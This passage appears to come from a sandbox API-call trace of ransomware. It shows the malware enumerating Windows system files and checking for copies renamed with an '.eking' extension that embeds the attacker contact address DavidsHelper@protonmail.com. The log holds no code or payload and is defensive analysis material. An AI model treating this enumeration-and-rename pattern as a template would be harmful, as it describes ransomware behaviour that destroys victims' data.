Files\\System\\en-US\\wab32res.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.318] SetEvent (hEvent=0x174) returned 1 [0177.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.320] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=630) returned 1 [0177.320] CloseHandle (hObject=0x1f0) returned 1 [0177.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0177.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0177.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.320] SetEvent (hEvent=0x174) returned 1 [0177.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.321] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=623) returned 1 [0177.321] CloseHandle (hObject=0x1f0) returned 1 [0177.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0177.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0177.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.322] SetEvent (hEvent=0x174) returned 1 [0177.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.324] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9728) returned 1 [0177.324] CloseHandle (hObject=0x1f0) returned 1 [0177.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0177.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0177.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.326] SetEvent (hEvent=0x174) returned 1 [0177.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.327] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5120) returned 1 [0177.327] CloseHandle (hObject=0x1f0) returned 1 [0177.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0177.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui")) returned 0x20 [0177.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.328] SetEvent (hEvent=0x174) returned 1 [0177.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.329] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5632) returned 1 [0177.329] CloseHandle (hObject=0x1f0) returned 1 [0177.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0177.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0177.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.329] SetEvent (hEvent=0x174) returned 1 [0177.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.331] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=13824) returned 1 [0177.331] CloseHandle (hObject=0x1f0) returned 1 [0177.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0177.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0177.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.332] SetEvent (hEvent=0x174) returned 1 [0177.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.333] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7168) returned 1 [0177.333] CloseHandle (hObject=0x1f0) returned 1 [0177.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0177.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0177.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.333] SetEvent (hEvent=0x174) returned 1 [0177.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.334] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5632) returned 1 [0177.334] CloseHandle (hObject=0x1f0) returned 1 [0177.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0177.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui")) returned 0x20 [0177.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.335] SetEvent (hEvent=0x174) returned 1 [0177.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.337] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=518) returned 1 [0177.337] CloseHandle (hObject=0x1f0) returned 1 [0177.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0177.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0177.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.338] SetEvent (hEvent=0x174) returned 1 [0177.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0177.340] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=588) returned 1 [0177.340] CloseHandle (hObject=0x1e4) returned 1 [0177.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0177.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0177.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.341] SetEvent (hEvent=0x174) returned 1 [0177.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0177.342] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=749568) returned 1 [0177.342] CloseHandle (hObject=0x1ec) returned 1 [0177.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0177.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll")) returned 0x20 [0177.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.343] SetEvent (hEvent=0x174) returned 1 [0177.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.345] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.345] CloseHandle (hObject=0x1c0) returned 1 [0177.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0177.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0177.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.346] SetEvent (hEvent=0x174) returned 1 [0177.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.347] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=114688) returned 1 [0177.347] CloseHandle (hObject=0x1c0) returned 1 [0177.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll")) returned 0x20 [0177.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll")) returned 0x20 [0177.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcf.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.348] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.348] CloseHandle (hObject=0x1c0) returned 1 [0177.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll")) returned 0x20 [0177.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll")) returned 0x20 [0177.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcfr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.350] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=258048) returned 1 [0177.350] CloseHandle (hObject=0x1c0) returned 1 [0177.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0177.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0177.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.352] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.352] CloseHandle (hObject=0x1c0) returned 1 [0177.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0177.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0177.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcs.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.354] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=98304) returned 1 [0177.354] CloseHandle (hObject=0x1c0) returned 1 [0177.354] GetFileAttributesW 